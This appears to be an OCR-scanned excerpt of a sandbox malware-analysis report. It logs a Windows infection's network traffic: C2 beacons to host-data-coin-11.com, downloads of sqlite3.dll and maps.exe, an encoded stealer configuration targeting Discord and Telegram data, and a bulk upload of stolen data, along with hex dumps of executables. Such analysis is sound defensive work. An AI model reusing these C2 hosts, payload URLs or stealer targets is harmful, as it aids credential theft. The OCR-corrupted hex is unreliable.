40 00 00 cO 2e 72 73 72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00
00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 3a 00 00 00 e0 05 00 00 3¢ 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
Data Ascii: 4ae00MZ@!L!This program cannot be run in DOS mode.$ 6}}1!$RichPEL/'P@ m(@x 8@.text~ ".data @.xoguh
it@.vakorupK@.gilijen @.buva0@.rsrc@@@.reloc:<r@B

Session ID Source IP Source Port Destination IP  Destination Port Process

34 192.168.2.3 49757 139.28.222.172 80 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Jan 6, 2022 2268 ouT GET /tratata.php HTTP/1.1

08:09:07.745237112 CET Host: file-file-host4.com

Connection: Keep-Alive
Cache-Control: no-cache

Jan 6, 2022 2269 IN HTTP/1.1 200 OK

08:09:07.826359034 CET Server: nginx/1.20.2
Date: Thu, 06 Jan 2022 07:09:07 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: PHPSESSID=dssnulsk4q345etur6fdlaaidu; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Data Raw: 63 34 0d Oa 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52
42 56 45 45 6¢ 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e
77 78 66 44 42 38 4d 48 78 55 5a 57 78 6¢ 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a
57 78 6¢ 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33
4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38
4d 48 77 77 66 41 3d 3d 0d 0a 30 0d Oa 0d Oa
Data Ascii: c4AMXwxfDF8MXxEaXNjb3JkiDB8JUFQUERBVEEIXGRpc2NvemRcTG9jYWwgU3RvemFnZVx8KnwxfDB8
MHxUZWxIZ3JhbXwwfCVBUFBEQVRBJIVxUZWxIZ3JhbSBEZXNrdGOwXHRKYXRhXHwgRDg3NOY3ODNENUQz
RUY4QyosKm1hcCosKmNvbmZpZ3MqgfDF8MHwwA==0

Session ID Source IP Source Port Destination IP Destination Port Process
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Session ID Source IP
35 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 2270

08:09:07.924268007 CET

Jan 6, 2022 2285
08:09:08.003650904 CET

Session ID Source IP
36 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 2270

08:09:07.936758041 CET

Jan 6, 2022 2272
08:09:08.000193119 CET

Copyright Joe Security LLC 2022

Source Port

49758

Direction

ouT

Source Port

49759

Direction

ouT

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ckfvguv.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 286

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:07 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

GET /sqlite3.dll HTTP/1.1

Host: file-file-host4.com

Cache-Control: no-cache

Cookie: PHPSESSID=dssnulsk4q345etur6fdlaaidu

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Thu, 06 Jan 2022 07:09:07 GMT

Content-Type: application/x-msdos-program

Content-Length: 645592

Connection: close

Last-Modified: Wed, 08 Dec 2021 03:32:46 GMT

ETag: "9d9d8-5d29a24b21380"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6€ 6f 74 20 62 65 20 72 75 6€ 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f Oc 00 00 e0 00 06 21 Ob 01
02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04
00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 ¢3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c Oa 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cO ce 06 00
00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 Of 00
00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 cO 2e 72 64 61 74 61 00 00 24 ad
00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98
04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 cO 2e 65 64 61 74 61 00 00
98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00
00 4c 0a 00 00 00 dO 07 00 00 Oc 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 43 52 54 00 00
00 00 18 00 00 00 00 €0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6¢ 73 00
00 00 00 20 00 00 00 00 fO 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 cO 2e 72 65 6¢ 6f
63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00
00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 €6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39
00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33
3500 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f
3531 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42
2f 36 33 00 00 00 00 00 84 0Od 00 00 00 b0 08 00 00 Oe 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10
42 2f 37 37 00 00 00 00 00 94 Ob 00 00 00 cO 08 00 00 Oc 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 dO 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 O
030 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X" 8 L'p.text'0".data@@.rdata$@@ @.
bss@.edata@0@.idataL @0.CRT@0.tls @0.reloc'(@0B/4 0@ @B/19@ @B/35MP@B/51'C’'D@B/638@B/77F@B/89
R@0B/102X@B/113
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Session ID

37

Timestamp

Jan 6, 2022
08:09:08.147406101 CET

Jan 6, 2022
08:09:08.230910063 CET

Session ID

38

Timestamp

Jan 6, 2022
08:09:08.315341949 CET

Jan 6, 2022
08:09:08.392970085 CET

Session ID
39

Timestamp

Jan 6, 2022
08:09:10.435122967 CET

Jan 6, 2022
08:09:10.525348902 CET

Source IP

192.168.2.3
kBytes

transferred

2369

2701

Source IP

192.168.2.3
kBytes

transferred

2949

2950

Source IP
192.168.2.3

kBytes

transferred
3502

3503

Copyright Joe Security LLC 2022

Source Port

49760

Direction

ouT

Source Port

49761

Direction

ouT

Source Port
49763

Direction
ouT

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dldbnkm.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 282

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vrpsxrye.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 168

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 d1 42 d4 ff 26 85 21 ec ac 96 51 28 e2 b1 49 2d e3 b3 b7 60
2 9b bf 5¢ aa 71 90 c8 33 46 58 3a 0d 49 da bb 51 b7 fe 5f 9b b1 c9 1f 8d 2b 80 cf 0d Oa 30 0d Oa 0d Oa

Data Ascii: 651:820B%, YR("XSB&!Q(I-"\q3FX:1Q_+0

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ssdywbty.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 275

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0
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Session ID

4

Timestamp

Session ID

40

Timestamp

Jan 6, 2022
08:09:10.619515896 CET

Jan 6, 2022
08:09:10.701766968 CET

Session ID
41

Timestamp

Jan 6, 2022
08:09:16.333735943 CET

Jan 6, 2022
08:09:17.455610037 CET

Session ID
42

Timestamp

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred

3504

3505

Source IP
192.168.2.3

kBytes

transferred
3506

3599

Source IP
192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Source Port

49807

Direction

Source Port

49764

Direction

ouT

Source Port
49766

Direction
ouT

Source Port
49780

Direction

Destination IP Destination Port Process

104.21.38.221 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://upyfwla.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e3c 616464726573 733e41 7061636865 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /tratata.php HTTP/1.1

Content-Type: multipart/form-data; boundary=----VKNYUK68YUSRQI58
Host: file-file-host4.com

Content-Length: 92575

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: PHPSESSID=dssnulsk4g345etur6fdlaaidu

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Thu, 06 Jan 2022 07:09:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Destination IP Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data
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Timestamp

Jan 6, 2022
08:09:32.271148920 CET

Jan 6, 2022
08:09:32.355457067 CET

Session ID

43

Timestamp

Jan 6, 2022
08:09:53.676336050 CET

Jan 6, 2022
08:09:53.763040066 CET

Session ID
44

Timestamp

Jan 6, 2022
08:09:53.850538969 CET

Jan 6, 2022
08:09:53.932580948 CET

Session ID
45

Timestamp

Jan 6, 2022
08:09:55.017796040 CET

kBytes
transferred

12237

12238

Source IP

192.168.2.3

kBytes
transferred

12257

12257

Source IP
192.168.2.3

kBytes
transferred

12258

12259

Source IP
192.168.2.3

kBytes
transferred

12260

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49786

Direction

ouT

Source Port
49787

Direction
ouT

Source Port
49788

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lvqobjn.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 229

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd
4591 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2cl:8201:D@EnW[10

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://miwrk.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 131

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fsmmd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 202

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bpjdfscuk.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 269

Host: host-data-coin-11.com
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Timestamp

Jan 6, 2022
08:09:55.096772909 CET

Session ID

46

Timestamp

Jan 6, 2022
08:09:55.178186893 CET

Jan 6, 2022
08:09:55.256943941 CET

Session ID

47

Timestamp

Jan 6, 2022
08:09:55.340255976 CET

Jan 6, 2022
08:09:55.419222116 CET

Session ID
48

Timestamp

Jan 6, 2022
08:09:55.559609890 CET

kBytes
transferred

12260

Source IP

192.168.2.3

kBytes
transferred

12265

12265

Source IP

192.168.2.3

kBytes
transferred

12266

12267

Source IP
192.168.2.3

kBytes
transferred

12267

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49789

Direction

ouT

Source Port

49790

Direction

ouT

Source Port
49791

Direction
ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://glmxabvp.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 254

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wofvisy.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 42 f4 53
cd 76 bb 44 10 99 04 el fa 67 e5 32 50 0d Oa 30 0d Oa Od Oa

Data Ascii: 2el:820U?ABSvDg2P0

Destination IP  Destination Port Process

91.243.44.130 80 C:\Windows\explorer.exe

Data

GET /stlr/maps.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 91.243.44.130
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kBytes

Timestamp transferred Direction Data
Jan 6, 2022 12269 IN HTTP/1.1 200 OK
08:09:55.623759031 CET Date: Thu, 06 Jan 2022 07:09:55 GMT

Server: Apache/2.4.18 (Ubuntu)

Last-Modified: Wed, 05 Jan 2022 20:17:14 GMT

ETag: "97fd0-5d4db70843dbb"

Accept-Ranges: bytes

Content-Length: 622544

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdos-program

Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 €9 c8 9b fO ce 43
27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a ¢3 52 c6 c7 98 88 64 3a 00 01 00 00 Ob 51 d1 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00
00 00 00 00 00 e0 00 02 01 Ob 01 0a 00 00 2e 01 00 00 7c 05 00 00 00 00 00 00 00 07 00 00 10 00 00 00 40 01 00 00 00
40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 08 00 00 04 00 00 8f 25 0a 00 02
00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 fO 02 00
